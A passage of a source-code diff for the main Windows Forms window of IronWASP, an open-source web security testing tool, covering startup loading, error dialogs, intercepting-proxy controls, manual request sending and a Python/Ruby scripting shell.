(Viewers.Count == 0) - { - MessageBox.Show("No trace entries matching this finding could be find. Please look for the associated trace manually in the 'Scan Trace' section of the 'Automated Scanning' section."); - } - } - catch (Exception Exp) - { - IronException.Report("Unable to load logs associated with Finding", Exp); - } - } - - private void TraceMsgRTB_LinkClicked(object sender, LinkClickedEventArgs e) - { - MessageBox.Show(e.LinkText); - } - - private void generateReportToolStripMenuItem_Click(object sender, EventArgs e) - { - if (IronUI.IsReportGenerationWizardOpen()) - { - IronUI.RGW.Activate(); - } - else - { - IronUI.RGW = new ReportGenerationWizard(); - TreeNode TopNode = IronUI.RGW.FindingsTree.Nodes.Add("All", "All"); - TopNode.Checked = true; - CopyTree(IronTree.TopNode, TopNode); - IronUI.RGW.Show(); - } - } - - void CopyTree(TreeNode FromNode, TreeNode ToNode) - { - if (FromNode.Level == 1 && FromNode.Index > 2) return; - foreach (TreeNode Node in FromNode.Nodes) - { - if (Node.Level == 1 && Node.Index > 2) continue; - TreeNode NewNode = ToNode.Nodes.Add(Node.Name, Node.Name); - NewNode.Checked = true; - if (Node.Nodes.Count > 0) - { - CopyTree(Node, NewNode); - } - } - } - } -} - +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.IO; +using System.Xml; +using System.Collections; +using System.Collections.Specialized; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using System.Net.Security; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + public partial class Main : Form + { + public Main() + { + AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(Iron_UnhandledException); + Application.ThreadException += new ThreadExceptionEventHandler(IronUI_ThreadException); + InitializeComponent(); + } + + + private static void IronUI_ThreadException(object sender, System.Threading.ThreadExceptionEventArgs e) + { + DialogResult Result = DialogResult.No; + try + { + try { File.Delete(Config.RootDir + "\\ironwasp_error.txt"); } + catch { } + try { File.WriteAllText(Config.RootDir + "\\ironwasp_error.txt", e.Exception.Message + "\r\nStackTrace:\r\n" + e.Exception.StackTrace); } + catch { } + + Result = MessageBox.Show("Oops, Iron encountered an unexpected error and must close.\r\n\r\nYour project details are stored in the folder - " + IronDB.LogPath + "\r\n\r\nYou can choose to continue or restart the application(recommended).\r\n\r\nIMPORTANT:\r\nPlease help avoid this from occuring again by sending the following details(screenshot) to lava@ironwasp.org.\r\nAlternatively you can mail the file - " + Config.RootDir + "\\ironwasp_error.txt\r\n\r\nMessage: " + e.Exception.Message + "\r\nStackTrace:\r\n" + e.Exception.StackTrace, "Unexpected Error - Do you wish to continue running?(not recommended)", MessageBoxButtons.YesNo, MessageBoxIcon.Error); + } + finally + { + if (Result == DialogResult.No) + { + Environment.Exit(0); + } + } + } + + private static void Iron_UnhandledException(object sender, UnhandledExceptionEventArgs e) + { + try + { + Exception Exp = (Exception)e.ExceptionObject; + try { File.Delete(Config.RootDir + "\\ironwasp_error.txt"); } + catch { } + try { File.WriteAllText(Config.RootDir + "\\ironwasp_error.txt", Exp.Message + "\r\nStackTrace:\r\n" + Exp.StackTrace); } + catch { } + IronException.Report("Unhandled Exception", Exp.Message, Exp.StackTrace); + MessageBox.Show("Oops, Iron encountered an unexpected error and must close.\r\n\r\nYour project details are stored in the folder - " + IronDB.LogPath + "\r\n\r\nIMPORTANT:\r\nPlease help avoid this from occuring again by sending the following details(screenshot) to lava@ironwasp.org.\r\nAlternatively you can mail the file - " + Config.RootDir + "\\ironwasp_error.txt\r\n\r\nMessage: " + Exp.Message + "\r\nStackTrace:\r\n" + Exp.StackTrace, "Unexpected Error Occurred"); + } + finally + { + Environment.Exit(0); + } + } + + internal bool CanShutdown = false; + + private void Main_Load(object sender, EventArgs e) + { + IronUI.LF = new LoadForm(); + Thread T = new Thread(new ThreadStart(Splash)); + T.Start(); + IronUI.SetUI(this); + + IronUI.LF.ShowLoadMessage("Loading....."); + try + { + IronUpdater.Start(); + + //Set the ID column as int for proper sorting + ProxyLogGrid.Columns[0].ValueType = typeof(System.Int32); + + //Initialise default nodes in the tree + IronUI.BuildIronTree(); + } + catch + { + + } + + + IronUI.LF.ShowLoadMessage("Creating Project Database...."); + try + { + Config.SetRootDir(); + IronDB.InitialiseLogDB(); + } + catch(Exception Exp) + { + IronUI.LF.ShowLoadMessage("Error Creating Project Database - " + Exp.Message); + } + + IronUI.LF.ShowLoadMessage("Reading Stored Configuration Information...."); + try + { + IronDB.UpdateConfigFromDB(); + Config.ReadUserAgentsList(); + CreateImageList(); + } + catch (Exception Exp) + { + IronUI.LF.ShowLoadMessage("Error Reading Stored Configuration Information - " + Exp.Message); + } + + IronUI.LF.ShowLoadMessage("Applying Previous Configuration...."); + try + { + IronUI.UpdateUIFromConfig(); + //IronJint.ShowDefaultTaintConfig(); + } + catch (Exception Exp) + { + IronUI.LF.ShowLoadMessage("Error Applying Previous Configuration - " + Exp.Message); + } + + IronUI.LF.ShowLoadMessage("Creating API Documentation Trees...."); + try + { + APIDoc.Initialise(); + } + catch (Exception Exp) + { + IronException.Report("Error creating API Docs", Exp.Message, Exp.StackTrace); + } + //Initialise the Scripting Engines and compile the plug-ins + IronUI.LF.ShowLoadMessage("Loading All Plugins...."); + try + { + PluginEngine.StartUp = true; + PluginEngine.InitialiseAllPlugins(); + PluginEngine.StartUp = false; + + } + catch (Exception Exp) + { + PluginEngine.StartUp = false; + IronException.Report("Error initialising Plugins", Exp.Message, Exp.StackTrace); + } + + IronUI.LF.ShowLoadMessage("Reading available Modules...."); + try + { + try + { + string ModulesDir = string.Format("{0}\\modules", Config.RootDir); + if (!Directory.Exists(ModulesDir)) + Directory.CreateDirectory(ModulesDir); + } + catch { } + Module.ReadModulesXml(); + PopulateModuleMenus(); + } + catch (Exception Exp) + { + IronException.Report("Error reading available Modules", Exp.Message, Exp.StackTrace); + } + + IronUI.LF.ShowLoadMessage("Loading core REST API registrations...."); + try + { + RestApi.CoreApiLoader.LoadCoreCustomApiRegistration(); + } + catch (Exception Exp) + { + IronException.Report("Error loading core API registrations", Exp.Message, Exp.StackTrace); + } + + IronUI.LF.ShowLoadMessage("Loading custom API registrations from Python script...."); + try + { + RestApi.CustomApiLoader.LoadCustomApiRegistrationFromPythonScript(); + } + catch (Exception Exp) + { + IronException.Report("Error loading custom API registrations from Python script", Exp.Message, Exp.StackTrace); + } + IronUI.LF.ShowLoadMessage("Loading custom API registrations from Ruby script...."); + try + { + RestApi.CustomApiLoader.LoadCustomApiRegistrationFromRubyScript(); + } + catch (Exception Exp) + { + IronException.Report("Error loading custom API registrations from Ruby script", Exp.Message, Exp.StackTrace); + } + + try + { + IronUI.BuildPluginTree(); + } + catch (Exception Exp) { IronException.Report("Error Building PluginTree", Exp); } + IronUI.LF.ShowLoadMessage("Starting Internal Analyzers...."); + try + { + PassiveChecker.Start(); + } + catch (Exception Exp) + { + IronException.Report("Error Internal Analyzers", Exp.Message, Exp.StackTrace); + } + + + IronUI.LF.ShowLoadMessage("Preparing the Scripting Shell...."); + try + { + IronScripting.InitialiseScriptingEnvironment(); + IronUI.InitialiseAllScriptEditors(); + try + { + ShowSampleScriptedInterceptionScript(); + ShowSampleScriptedSendScript(); + } + catch { } + } + catch (Exception Exp) + { + IronUI.LF.ShowLoadMessage("Error Preparing the Scripting Shell - " + Exp.Message); + IronException.Report("Error Preparing the Scripting Shell", Exp.Message, Exp.StackTrace); + } + + IronUI.LF.ShowLoadMessage("Reading JS files for insertion...."); + try + { + JavaScriptTracer.LoadJsToInset(); + } + catch (Exception Exp) + { + IronException.Report("Error loading JS files to insert", Exp); + } + try + { + JavaScriptTracer.StartAnalyzer(); + } + catch (Exception Exp) + { + IronException.Report("Unable to start JavaScript Trace Analyer", Exp); + } + //IronUI.LF.ShowLoadMessage("Starting the Proxy"); + //IronProxy.Start(); + + IronUI.LF.ShowLoadMessage("Done!"); + IronUI.LF.ShowLoadMessage("0"); + + IronUI.LICF = new LoadInitialConfigurationForm(); + IronUI.LICF.ShowDialog(); + + if (CanShutdown) + { + this.ShutDown(); + Application.Exit(); + } + + try + { + CheckUpdate.CheckForUpdates(); + } + catch (Exception Exp) + { + IronException.Report("Error Starting New Version Check", Exp.Message, Exp.StackTrace); + } + + SetUiComponentsToInitialState(); + this.Activate(); + PluginEditorInTE.Document.ReadOnly = true; + CheckDotNetVersion(); + } + + static void Splash() + { + IronUI.LF.LoadLogoPB.Select(); + IronUI.LF.ShowDialog(); + } + + void CheckDotNetVersion() + { + bool OldVersion = false; + try + { + string[] VersionParts = Environment.Version.ToString().Split(new char[] { '.' }); + if (Int32.Parse(VersionParts[2]) < 50000) + { + OldVersion = true; + } + if (Int32.Parse(VersionParts[3]) < 3000) + { + OldVersion = true; + } + } + catch + {} + if (OldVersion) + { + MessageBox.Show("You are running an older version of .NET 2.0 that does not support all features of IronWASP. Please install .NET 2.0 SP2, it can be downloaded from - https://www.microsoft.com/en-us/download/details.aspx?id=1639", "Dependency Alert!!!"); + } + } + + void SetUiComponentsToInitialState() + { + ScanTopPanel.Visible = true; + ScanDisplayPanel.Visible = false; + ScanJobsBaseSplit.SplitterDistance = 62; + + //TestResponseSplit.SplitterDistance = 30; + ScanJobsTopSplit.SplitterDistance = 470; + ScanJobsBottomSplit.SplitterDistance = ScanJobsBottomSplit.Height - 52; + + ASInjectHeaderLbl.Location = new Point(13, ASInjectHeaderLbl.Location.Y); + ASRequestScanAllCB.Location = new Point(13, ASRequestScanAllCB.Location.Y); + ASRequestScanURLCB.Location = new Point(13, ASRequestScanURLCB.Location.Y); + ASRequestScanQueryCB.Location = new Point(13, ASRequestScanQueryCB.Location.Y); + ASRequestScanBodyCB.Location = new Point(13, ASRequestScanBodyCB.Location.Y); + ASRequestScanCookieCB.Location = new Point(13, ASRequestScanCookieCB.Location.Y); + ASRequestScanHeadersCB.Location = new Point(13, ASRequestScanHeadersCB.Location.Y); + ASRequestScanParameterNamesCB.Location = new Point(13, ASRequestScanParameterNamesCB.Location.Y); + } + + void PopulateModuleMenus() + { + Dictionary> MenuItems = new Dictionary>(); + foreach(Module M in Module.ModuleListFromXml) + { + if (!MenuItems.ContainsKey(M.Category)) + MenuItems[M.Category] = new List(); + MenuItems[M.Category].Add(M); + } + foreach (string Category in MenuItems.Keys) + { + ToolStripMenuItem Item = (ToolStripMenuItem)modulesToolStripMenuItem.DropDownItems.Add(Category); + bool WorksOnFinding = false; + bool WorksOnUrl = false; + bool WorksOnSession = false; + foreach (Module M in MenuItems[Category]) + { + Item.DropDownItems.Add(M.DisplayName).Click += RunModuleMenuItem_Click; + if (M.WorksOnFinding) WorksOnFinding = true; + if (M.WorksOnUrl) WorksOnUrl = true; + if (M.WorksOnSession) WorksOnSession = true; + } + if (WorksOnFinding) + { + Item = (ToolStripMenuItem)RunModulesOnFindingToolStripMenuItem.DropDownItems.Add(Category); + foreach (Module M in MenuItems[Category]) + { + if (M.WorksOnFinding) Item.DropDownItems.Add(M.DisplayName).Click += RunModuleOnFindingMenuItem_Click; + } + } + if (WorksOnUrl) + { + Item = (ToolStripMenuItem)RunModulesOnUrlToolStripMenuItem.DropDownItems.Add(Category); + foreach (Module M in MenuItems[Category]) + { + if (M.WorksOnUrl) Item.DropDownItems.Add(M.DisplayName).Click += RunModuleOnUrlMenuItem_Click; + } + } + if (WorksOnSession) + { + Item = (ToolStripMenuItem)RunModulesOnRequestResponseToolStripMenuItem.DropDownItems.Add(Category); + foreach (Module M in MenuItems[Category]) + { + if (M.WorksOnSession) Item.DropDownItems.Add(M.DisplayName).Click += RunModuleOnSessionMenuItem_Click; + } + } + } + } + + internal void PopulateRecentOnSessionModuleMenus(string[] RecentModules) + { + while (LogMenu.Items.Count > 6) + { + LogMenu.Items.RemoveAt(LogMenu.Items.Count -1); + } + foreach (string DisplayName in RecentModules) + { + LogMenu.Items.Add(DisplayName).Click += RunModuleOnSessionMenuItem_Click; + } + } + + private void RunModuleMenuItem_Click(object sender, EventArgs e) + { + //MessageBox.Show(sender.ToString() + e.ToString()); + Module.StartModule((sender as ToolStripMenuItem).Text); + } + + private void RunModuleOnUrlMenuItem_Click(object sender, EventArgs e) + { + + } + + private void RunModuleOnFindingMenuItem_Click(object sender, EventArgs e) + { + //MessageBox.Show(sender.ToString() + e.ToString()); + int FindingId = IronUI.GetFindingIdFromIronTree(); + try + { + Module.StartModuleOnFinding((sender as ToolStripMenuItem).Text, FindingId); + } + catch (Exception Exp) { IronException.Report("Unable to run Module on Finding", Exp); } + //IronUI.OpenEncodeDecodeWindow(); + } + private void RunModuleOnSessionMenuItem_Click(object sender, EventArgs e) + { + //MessageBox.Show(sender.ToString() + e.ToString()); + try + { + string SelectedDisplayName = (sender as ToolStripMenuItem).Text; + bool AlreadyExists = false; + foreach (string DisplayName in Module.RecentOnSessionModules) + { + if (DisplayName.Equals(SelectedDisplayName)) + { + AlreadyExists = true; + break; + } + } + if (!AlreadyExists) + { + if (Module.RecentOnSessionModules.Count >= 3) + { + Module.RecentOnSessionModules.Dequeue(); + } + Module.RecentOnSessionModules.Enqueue(SelectedDisplayName); + } + PopulateRecentOnSessionModuleMenus(Module.RecentOnSessionModules.ToArray()); + Module.StartModuleOnSession(SelectedDisplayName, GetSource(), Int32.Parse(GetID())); + } + catch (Exception Exp) { IronException.Report("Unable to run Module on Session", Exp); } + //IronUI.OpenEncodeDecodeWindow(); + } + + + private void ProxySendBtn_Click(object sender, EventArgs e) + { + this.TopMost = false; + if (IronProxy.CurrentSession == null) return; + if (IronProxy.CurrentSession.FiddlerSession == null) return; + if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) + { + try + { + IronUI.ResetProxyException(); + Request UpdatedRequest = ProxyRequestView.GetRequest(); + if (UpdatedRequest == null) throw new Exception("Cannot forward invalid request"); + if(IronProxy.RequestChanged) + IronProxy.UpdateCurrentSessionWithNewRequest(UpdatedRequest); + //IronUI.HandleAnyChangesInRequest(); + } + catch(Exception Exp) + { + IronUI.ShowProxyException(Exp.Message); + return; + } + } + else if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperResponse) + { + try + { + IronUI.ResetProxyException(); + Response UpdatedResponse = ProxyResponseView.GetResponse(); + if (UpdatedResponse == null) throw new Exception("Cannot forward invalid response"); + if (IronProxy.ResponseChanged) + IronProxy.UpdateCurrentSessionWithNewResponse(UpdatedResponse); + //IronUI.HandleAnyChangesInResponse(); + } + catch(Exception Exp) + { + IronUI.ShowProxyException(Exp.Message); + return; + } + } + else + { + return; + } + IronProxy.ForwardInterceptedMessage(); + ProxyBaseSplit.Panel1.BackColor = Color.White; + ProxySendBtn.Enabled = false; + ProxyDropBtn.Enabled = false; + string SessionID = ""; + try + { + lock (IronProxy.SessionsQ) + { + + SessionID = IronProxy.SessionsQ.Dequeue(); + } + } + catch (InvalidOperationException) + { + return; + } + catch(Exception Exp) + { + IronException.Report("Error Dequeing from Proxy Interception Queue", Exp); + } + + if (SessionID.Length > 0) + { + Session IntSession = null; + lock(IronProxy.InterceptedSessions) + { + try + { + IntSession = IronProxy.InterceptedSessions[SessionID]; + } + catch (Exception Exp) + { + IronException.Report("Error retriving session intercepted by proxy", Exp); + } + } + if (IntSession != null) IronUI.FillInterceptorTab(IntSession); + } + } + + private void InterceptRequestCB_CheckedChanged(object sender, EventArgs e) + { + if(IronProxy.InterceptRequest) + { + IronProxy.InterceptRequest = false; + if (IronProxy.CurrentSession != null) + { + if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) + { + try + { + IronProxy.ForwardInterceptedMessage(); + } + catch (Exception Exp) + { + IronException.Report("Error forwarding Request from Proxy", Exp.Message, Exp.StackTrace); + } + } + } + IronProxy.ClearRequestQueue(); + if (IronProxy.SessionsQ.Count == 0) + { + ProxyBaseSplit.Panel1.BackColor = Color.White; + ProxySendBtn.Enabled = false; + ProxyDropBtn.Enabled = false; + } + } + else + { + IronProxy.InterceptRequest = true; + } + } + + private void InterceptResponseCB_CheckedChanged(object sender, EventArgs e) + { + if (IronProxy.InterceptResponse) + { + IronProxy.InterceptResponse = false; + if (IronProxy.CurrentSession != null) + { + if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperResponse) + { + try + { + IronProxy.ForwardInterceptedMessage(); + } + catch (Exception Exp) + { + IronException.Report("Error forwarding Response from Proxy", Exp.Message, Exp.StackTrace); + } + } + } + IronProxy.ClearResponseQueue(); + if (IronProxy.SessionsQ.Count == 0) + { + ProxyBaseSplit.Panel1.BackColor = Color.White; + ProxySendBtn.Enabled = false; + ProxyDropBtn.Enabled = false; + } + } + else + { + IronProxy.InterceptResponse = true; + } + } + + private void InteractiveShellIn_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar == (Char)Keys.Enter) + { + e.Handled = true; + } + } + + private void InteractiveShellIn_KeyUp(object sender, KeyEventArgs e) + { + if (this.InteractiveShellIn.ReadOnly) return; + if (Config.BlinkPrompt) + { + EndOfShellPromptBlink(); + } + + if (e.KeyCode == Keys.Up) + { + string CommandFromHistory = IronScripting.GetPreviousCommandFromHistory(); + if (CommandFromHistory.Length > 0) + { + this.InteractiveShellIn.Text = CommandFromHistory; + } + else + { + //this.InteractiveShellIn.Text = this.InteractiveShellIn.Text.Replace("\r\n", ""); + this.InteractiveShellIn.Text = this.InteractiveShellIn.Text; + } + } + else if (e.KeyCode == Keys.Down) + { + string CommandFromHistory = IronScripting.GetNextCommandFromHistory(); + if (CommandFromHistory.Length > 0) + { + this.InteractiveShellIn.Text = CommandFromHistory; + } + else + { + //this.InteractiveShellIn.Text = this.InteractiveShellIn.Text.Replace("\r\n", ""); + this.InteractiveShellIn.Text = this.InteractiveShellIn.Text; + } + } + else if (e.KeyCode == Keys.Enter) + { + IronUI.FreezeInteractiveShellUI(); + //string Command = this.InteractiveShellIn.Text.Replace("\r\n", ""); + string Command = this.InteractiveShellIn.Text; + if(InteractiveShellPythonRB.Checked) + { + if (InteractiveShellPromptBox.Text.Contains(">>")) + { + Command = Command.TrimStart();//Remove whitespace before Python commands from the interactive shell when indentation is not required. This is a common newbie mistake. + } + } + this.InteractiveShellIn.Text = ""; + if (Command.Length > 0) + { + IronScripting.AddCommandToHistory(Command); + } + if (IronScripting.MoreExpected) + { + IronUI.UpdateInteractiveShellOut(Command + Environment.NewLine); + } + else + { + IronUI.UpdateInteractiveShellOut(IronScripting.ShellPrompt + Command + Environment.NewLine); + if (Command.Length == 0) + { + IronUI.ActivateinteractiveShellUI(); + return; + } + } + try + { + IronScripting.QueueInteractiveShellInputForExecution(Command); + } + catch (Exception Exp) + { + IronException.Report("Error executing command in Scripting Shell", Exp.Message, Exp.StackTrace); + IronUI.ActivateinteractiveShellUI(); + } + } + } + + private void InteractiveShellPythonRB_CheckedChanged(object sender, EventArgs e) + { + IronUI.UpdateShellInPrompt(">>>>"); + if (InteractiveShellPythonRB.Checked) + { + IronScripting.ChangeLanguageToPython(); + } + Directory.SetCurrentDirectory(Config.RootDir); + MultiLineShellInTE.SetHighlighting("Python"); + } + + private void InteractiveShellRubyRB_CheckedChanged(object sender, EventArgs e) + { + IronUI.UpdateShellInPrompt("irb>"); + if (InteractiveShellRubyRB.Checked) + { + IronScripting.ChangeLanguageToRuby(); + } + Directory.SetCurrentDirectory(Config.RootDir); + MultiLineShellInTE.SetHighlighting("Ruby"); + } + + private void LogMenu_Opening(object sender, CancelEventArgs e) + { + IronLog.SourceControl = LogMenu.SourceControl.Name; + bool RowsSelected = true; + bool ResponseAvailable = true; + switch (IronLog.SourceControl) + { + case("ProxyLogGrid"): + if (ProxyLogGrid.SelectedCells.Count < 1 || ProxyLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (ProxyLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; + } + break; + case ("ShellLogGrid"): + if (ShellLogGrid.SelectedCells.Count < 1 || ShellLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (ShellLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; + } + break; + case ("TestLogGrid"): + if (TestLogGrid.SelectedCells.Count < 1 || TestLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (TestLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; + } + break; + case ("ProbeLogGrid"): + if (ProbeLogGrid.SelectedCells.Count < 1 || ProbeLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (ProbeLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; + } + break; + case ("ScanLogGrid"): + if (ScanLogGrid.SelectedCells.Count < 1 || ScanLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (ScanLogGrid.SelectedCells[8].Value == null) ResponseAvailable = false; + } + break; + case ("SiteMapLogGrid"): + if (SiteMapLogGrid.SelectedCells.Count < 1 || SiteMapLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (SiteMapLogGrid.SelectedCells[8].Value == null) ResponseAvailable = false; + } + break; + case ("ResultsTriggersGrid"): + if (ResultsTriggersGrid.SelectedCells.Count < 1 || ResultsTriggersGrid.SelectedCells[0].Value == null) RowsSelected = false; + break; + case ("TestGroupLogGrid"): + if (TestGroupLogGrid.SelectedCells.Count < 1 || TestGroupLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (TestGroupLogGrid.SelectedCells[6].Value == null) ResponseAvailable = false; + } + break; + case ("OtherLogGrid"): + if (OtherLogGrid.SelectedCells.Count < 1 || OtherLogGrid.SelectedCells[0].Value == null) RowsSelected = false; + if (RowsSelected) + { + if (OtherLogGrid.SelectedCells[6].Value == null) ResponseAvailable = false; + } + break; + case("LogOptionsBtn"): + if (IronLog.CurrentSession == null) + RowsSelected = false; + else if (IronLog.CurrentSession.Response == null) + ResponseAvailable = false; + break; + case("ProxyOptionsBtn"): + if (IronProxy.CurrentSession == null) + RowsSelected = false; + else if (IronProxy.CurrentSession.Response == null) + ResponseAvailable = false; + break; + } + + this.SelectForManualTestingToolStripMenuItem.Enabled = RowsSelected; + this.SelectForAutomatedScanningToolStripMenuItem.Enabled = RowsSelected; + this.CopyRequestToolStripMenuItem.Enabled = RowsSelected; + this.CopyResponseToolStripMenuItem.Enabled = RowsSelected; + this.RunModulesOnRequestResponseToolStripMenuItem.Enabled = RowsSelected; + this.SelectResponseForJavaScriptTestingToolStripMenuItem.Enabled = RowsSelected && ResponseAvailable;// && JSTaintTraceControlBtn.Text.Equals("Start Taint Trace"); + } + + private void MTSendBtn_Click(object sender, EventArgs e) + { + try + { + IronUI.ResetMTExceptionFields(); + ManualTesting.CurrentRequest = TestRequestView.GetRequest(); + if (ManualTesting.CurrentRequest == null) throw new Exception("Cannot sent invalid request"); + //IronUI.HandleAnyChangesInMTRequest(); + } + catch(Exception Exp) + { + IronUI.ShowMTException(Exp.Message); + return; + } + if (ManualTesting.CurrentRequest == null) + { + IronUI.ShowMTException("Invalid Request"); + return; + } + if (!IronProxy.ProxyRunning) + { + IronUI.ShowMTException("Unable to send Request because IronWASP Proxy is not running. Start the proxy to fix this problem."); + return; + } + try + { + IronUI.ResetMTExceptionFields(); + ManualTesting.ResetChangedStatus(); + ManualTesting.SendRequest(); + IronUI.StartMTSend(ManualTesting.CurrentRequestID); + } + catch(Exception Exp) + { + IronException.Report("Unable to Send 'Manual Testing' Request", Exp.Message, Exp.StackTrace); + IronUI.ShowMTException("Error sending Request"); + IronUI.EndMTSend(true); + } + } + + + private void MTLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedMTLog(); + } + + void ShowSelectedMTLog() + { + if (TestLogGrid.SelectedCells.Count < 1 || TestLogGrid.SelectedCells[0].Value == null || TestLogGrid.SelectedRows.Count == 0) + { + return; + } + IronLog.ShowLog(RequestSource.Test, TestLogGrid.SelectedCells[0].Value.ToString(), TestLogGrid.SelectedRows[0].Index, false); + } + + private void LogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedProxyLog(); + } + + void ShowSelectedProxyLog() + { + if (ProxyLogGrid.SelectedCells.Count < 1 || ProxyLogGrid.SelectedCells[0].Value == null || ProxyLogGrid.SelectedRows.Count == 0) + { + return; + } + IronLog.ShowLog(RequestSource.Proxy, ProxyLogGrid.SelectedCells[0].Value.ToString(), ProxyLogGrid.SelectedRows[0].Index, false); + } + + private void Main_FormClosing(object sender, FormClosingEventArgs e) + { + if (!CanShutdown) + { + if (IronUI.IsCloseFormOpen()) + { + IronUI.CF.Activate(); + } + else + { + IronUI.CF = new CloseForm(); + IronUI.CF.Show(); + } + e.Cancel = true; + } + } + + internal void ShutDown() + { + CanShutdown = true; + try + { + //ScanManager.Stop(); + ScanManager.DoStop(); + } + catch { } + try + { + PassiveChecker.Stop(); + } + catch { } + //try + //{ + // Analyzer.Stop(); + //} + //catch { } + try + { + IronScripting.StopExecutor(); + } + catch { } + try + { + Fiddler.FiddlerApplication.Shutdown(); + } + catch { } + try + { + JavaScriptTracer.StopAnalyzer(); + } + catch { } + try + { + IronUpdater.Stop(); + } + catch { } + try + { + foreach (int ScanID in Scanner.ScanThreads.Keys) + { + try + { + Scanner.ScanThreads[ScanID].Abort(); + } + catch { } + } + } + catch { } + try + { + CheckUpdate.StopUpdateCheck(); + }catch{} + try + { + IronDB.CommandsLogFile.Close(); + } + catch { } + } + + //private void MTIsSSLCB_CheckedChanged(object sender, EventArgs e) + //{ + // ManualTesting.CurrentRequestIsSSL = this.MTIsSSLCB.Checked; + //} + + private void ScriptingShellPythonAPITree_AfterSelect(object sender, TreeViewEventArgs e) + { + this.ShellAPIDetailsRTB.Rtf = APIDoc.GetPyDecription(e.Node); + } + + private void PluginEditorPythonAPITree_AfterSelect(object sender, TreeViewEventArgs e) + { + this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetPyDecription(e.Node); + } + + private void IronTree_AfterSelect(object sender, TreeViewEventArgs e) + { + //if (e.Node == null) return; + //if ((e.Node.Level > 5) || (e.Node.Level == 5 && (e.Node.Parent.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 4 && (e.Node.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 3 && (e.Node.Parent.Parent.Index == 4)) || (e.Node.Level == 2 && (e.Node.Parent.Index == 4))) + //{ + // List UrlPaths = new List(); + // string Query = ""; + // TreeNode SiteMapNode = e.Node; + // if (SiteMapNode.Text.StartsWith("?")) + // { + // Query = SiteMapNode.Text; + // SiteMapNode = SiteMapNode.Parent; + // } + // while(SiteMapNode.Level > 2) + // { + // UrlPaths.Add(SiteMapNode.Text); + // SiteMapNode = SiteMapNode.Parent; + // } + // UrlPaths.Reverse(); + // StringBuilder UrlPathBuilder = new StringBuilder(); + // foreach (string Path in UrlPaths) + // { + // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); + // } + // string Host = SiteMapNode.Text; + // string Url = UrlPathBuilder.ToString() + Query; + // if (Url == "//") Url = "/"; + // IronUI.UpdateResultsTab(Host, Url); + // return; + //} + Request SelectedUrl = IronUI.GetSelectedUrlFromSiteMap(); + if (SelectedUrl != null) + { + IronUI.UpdateResultsTab(SelectedUrl); + return; + } + + if (IronUI.IsFindingsNodeSelected()) + { + //PluginResult.CurrentPluginResult = IronDB.GetPluginResultFromDB(Int32.Parse(e.Node.Name)); + Finding.CurrentPluginResult = IronDB.GetPluginResultFromDB(IronUI.GetFindingIdFromIronTree()); + IronUI.UpdateResultsTab(Finding.CurrentPluginResult); + } + //if (e.Node.Level == 4 && (e.Node.Parent.Parent.Parent.Index == 1 || e.Node.Parent.Parent.Parent.Index == 2)) + //{ + // PluginResult.CurrentPluginResult = IronDB.GetPluginResultFromDB(Int32.Parse(e.Node.Name)); + // IronUI.UpdateResultsTab(PluginResult.CurrentPluginResult); + //} + //else if (e.Node.Level == 5 && e.Node.Parent.Parent.Parent.Parent.Index == 0) + //{ + // PluginResult.CurrentPluginResult = IronDB.GetPluginResultFromDB(Int32.Parse(e.Node.Name)); + // IronUI.UpdateResultsTab(PluginResult.CurrentPluginResult); + //} + //else if (e.Node.Level == 2 && e.Node.Parent.Index == 3) + else if (IronUI.IsExceptionsNodeSelected()) + { + IronException IrEx = IronDB.GetException(Int32.Parse(e.Node.Name)); + IronUI.UpdateResultsTab(IrEx); + } + this.SiteMapLogGrid.Rows.Clear(); + } + + private void InteractiveShellCtrlCBtn_Click(object sender, EventArgs e) + { + IronScripting.StopExecutor(); + IronUI.UpdateShellInPrompt(IronScripting.ShellPrompt); + IronUI.ActivateinteractiveShellUI(); + if (ScriptingShellTabs.SelectedIndex == 1) + { + MultiLineShellExecuteBtn.Visible = true; + } + else + { + MultiLineShellExecuteBtn.Visible = false; + } + } + + private void ShellLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedShellLog(); + 